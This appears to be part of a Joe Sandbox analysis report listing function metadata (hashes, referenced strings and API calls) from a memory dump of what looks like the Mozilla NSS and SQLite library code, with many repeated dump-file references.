Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction ID: 59fca2dca3cef0893b7833aadb60e676cb28be2d27590f1dc28ae6dd14501a15
Opcode Fuzzy Hash: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction Fuzzy Hash: 94F1F271F011568BEB04DFA8C8543AAB7F8AB8A309F15822DCB15D7B54FB709942CBC1

Function 6CBD6900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CBD78EC, 6CBD78F1
sqlite\_%, xrefs: 6CBD6953
authorizer malfunction, xrefs: 6CBD7910
BBB, xrefs: 6CBD7207, 6CBD780B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 724f1f507213523717e76d8e0b5cc625c095a55790bf5a4e564cbd521ffb3eba
Instruction ID: b86fcdad2a13be4fecdf6c0261fca4b631e4d7da2ed0cd5235fb925980d0fdd1
Opcode Fuzzy Hash: 724f1f507213523717e76d8e0b5cc625c095a55790bf5a4e564cbd521ffb3eba
Instruction Fuzzy Hash: C8C29E74E04245CFCB14CF58C480AAEBBB2FF89308F2581ADD915ABB55D776A856CF80

Function 6CB86F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6CB8702B
*?[, xrefs: 6CB87034, 6CB87052, 6CB87070
sz=[0-9]*, xrefs: 6CB87049
noskipscan*, xrefs: 6CB87067

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 5fc985903e3a881dbd76336a9c9ace3f1f44c7410bb56e35a312a80045e40d57
Instruction ID: cec681dd16408ae34d051af4c60402fc77329b85163d3eaff06aa1d46f13ac6d
Opcode Fuzzy Hash: 5fc985903e3a881dbd76336a9c9ace3f1f44c7410bb56e35a312a80045e40d57
Instruction Fuzzy Hash: 6671AE72F261914BEB109E6CC88039EB3A29F8131CF250278DD59BBFD1D6B19C4687D2

Function 6CC1EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CC1F0F9

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: df56683613048b51b00118bbd77ed77fec4e4ce50daee6fc6c4f55fecb232d19
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 86919171A0861A8FCB14CF69C8916AEB7F1FF85324F24462DD962A7FC0E730A905DB51

Function 6CC42F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CC67929), ref: 6CC42FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CC67929), ref: 6CC42FE0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4d177a91c5f995c447b68b4877752721e868b86b18913e9838c5a85a08490585
Instruction ID: ba799a0b47d8355bb8b0637029a09813868454e1f7044b2206fe0b1095dafff2
Opcode Fuzzy Hash: 4d177a91c5f995c447b68b4877752721e868b86b18913e9838c5a85a08490585
Instruction Fuzzy Hash: 7F511071A049218FD7148E5AC880B6A77B1FFC531AF6DC229D9099BB02F735E947CB81

Function 6CC60E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CC61052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CC61086

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: ffbb82ba493952b888ec5f7536a4149d240b6c4da9db042756d8f31461ae45cb
Instruction ID: 20325188d3b42e1bbbe466bb100f68b9363a85487dd8d6d7f8f945b191c67a7f
Opcode Fuzzy Hash: ffbb82ba493952b888ec5f7536a4149d240b6c4da9db042756d8f31461ae45cb
Instruction Fuzzy Hash: 0FA11D71B0125A9FDF08CF9AC9D0AEEB7B6BF48314B148129E955B7B00E7359C11CB94

Function 6CB8AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB8AE9F
winUnlock, xrefs: 6CB8AE18

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: bca37ff4981f54b47d48bc0723b4aba86ff354de1c38e8515604af597850fdfb
Instruction ID: 77abe9018a2e750e5b14c2f05fb4e28cb87b7e203f11db3ae10ca5dccf3a4230
Opcode Fuzzy Hash: bca37ff4981f54b47d48bc0723b4aba86ff354de1c38e8515604af597850fdfb
Instruction Fuzzy Hash: F2718370605240AFEB04DF28D894A6BB7F9FF89314F14CA18FA8997651D730E985CBD2

Function 6CBB49F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c1471a0679da9e89a0addbb15df5a6f7f21ccb5d4bf2e403aaa04a3f55cc0b1
Instruction ID: b07b7ece7be61e2881a0ece543d8dfbb8d1a04bd626b00805dd1dc0c4dc00715
Opcode Fuzzy Hash: 5c1471a0679da9e89a0addbb15df5a6f7f21ccb5d4bf2e403aaa04a3f55cc0b1
Instruction Fuzzy Hash: 8E526874E042498FDB04CF59C480BAEBBB2FF89318F248259E914BB751DB35A846CF95

Function 6CC4ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CC4EE3D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 905b9b92e33e9387c11da6deadb960825d3bab33941ff6b4c78ddb33ad0bdba7
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1F71B272E017058FE718CF5AD88066AFBF2BB98304F16C62DD85697B91E770E940CB91

Function 6CB84DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB85125

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: dc9178069d5a932433add63628a2338dc3830c8436265437755b2fed91540279
Instruction ID: 959c0236e5ca9e45dbaa4d4240ef6ea54e665a5b21c9a94bdcd319dc955f344f
Opcode Fuzzy Hash: dc9178069d5a932433add63628a2338dc3830c8436265437755b2fed91540279
Instruction Fuzzy Hash: 9AE13C70A093409FEB05EF28D48465ABBF4FF89309F518A1DEA8997751E730D985CF82

Function 6CBB8960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 353db2cb9c636e5c2d3f7e08dca487acacacbb4ae73c5860532f7aeb5ded6ddc
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 38D16D71F052978FDB48CEA9C4806BEB7F2FB89304F25852AC556F7640DB32A841CB91

Function 6CCBDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85accabe431c679e24dc4b43c87c8f8d7182dc5856fb1edb4b4e19a836ee199d
Instruction ID: 82f63440cbfc234ceed624574986b390dedc91c6a8ac6c55a5e782682e19766c
Opcode Fuzzy Hash: 85accabe431c679e24dc4b43c87c8f8d7182dc5856fb1edb4b4e19a836ee199d
Instruction Fuzzy Hash: FAF16F71A01205CFDB08CF59D4807AA77B2BF89318F2981A8D819AF755EB35ED42CBD1

Function 6CC51DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6eea0248f0d08db6ef4019274a34411c2bafba47bd7b1eb9a80d0530689b6501
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 6CD16832E046568BDB118E1CC8983DA77A3AB85328F9D4329CC641B7C6D37BA935C7D4

Function 6CC0A820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed3237886b169e207ac9dde967c6c1e0ee94f2e99116f856a29e4e363a8f5754
Instruction ID: cb847f075febc06e4ff8ca8c3964ff1c60946c8422be20f5c68daef531fb33ef
Opcode Fuzzy Hash: ed3237886b169e207ac9dde967c6c1e0ee94f2e99116f856a29e4e363a8f5754
Instruction Fuzzy Hash: 00519D71B01609CFDB04CF19D944BAABBE5FF89308F26816DE8199B751E732D852CB90

Function 6CBE8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction ID: b08896fafc940ee067ec19b73d761e78fdf3b63b64afdb379ad39dbb0d6c2fa5
Opcode Fuzzy Hash: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction Fuzzy Hash: 0C110432A006958FEB04DF28D88475AB3A5FF4975CF04466AD9158FA41C376D882C7C2

Function 6CCC0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction ID: 380a9b3350e0a7de7f9ebc4cffa38ba269084c21b41c9c364c1bf7aebb2f659c
Opcode Fuzzy Hash: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction Fuzzy Hash: 9D11A3B5B04345DFDB10DF19C88066A7BB6FF85368F14816DD8298B701EB71E806CBA2

Function 6CCC0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: adfb26285ba2b07a0035d528b2ec89e07c5c5afd35886ec6b7ad793d3f0306e6
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: CBE06D7A302454A7DB148E09C450AA97359EF81729FA480B9CC5A9BA01EA33F8438782

Function 6CBECC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f904e63220e0818a3746f19438fce3537f792db4f8c987c66dfdb7c66f56524
Instruction ID: 39e77c4d5d4cd6d3defbd0d1bb4f2ce670900fe757e31333b48e2412dce127d2
Opcode Fuzzy Hash: 2f904e63220e0818a3746f19438fce3537f792db4f8c987c66dfdb7c66f56524
Instruction Fuzzy Hash: 8AC04838244608CFC704DA08E4899A53BA8AB096117940094EA068B721EA21F810CA81

Function 6CD009D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CD00A22

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35

Part of subcall function 6CBE3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBE382A
Part of subcall function 6CBE3810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBE3879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
PR_GetCurrentThread.NSS3 ref: 6CD00A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
PR_LogFlush.NSS3 ref: 6CD00C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
free.MOZGLUE(00000000), ref: 6CD00D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CD00A5B
%ld[%p]: , xrefs: 6CD00A96

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

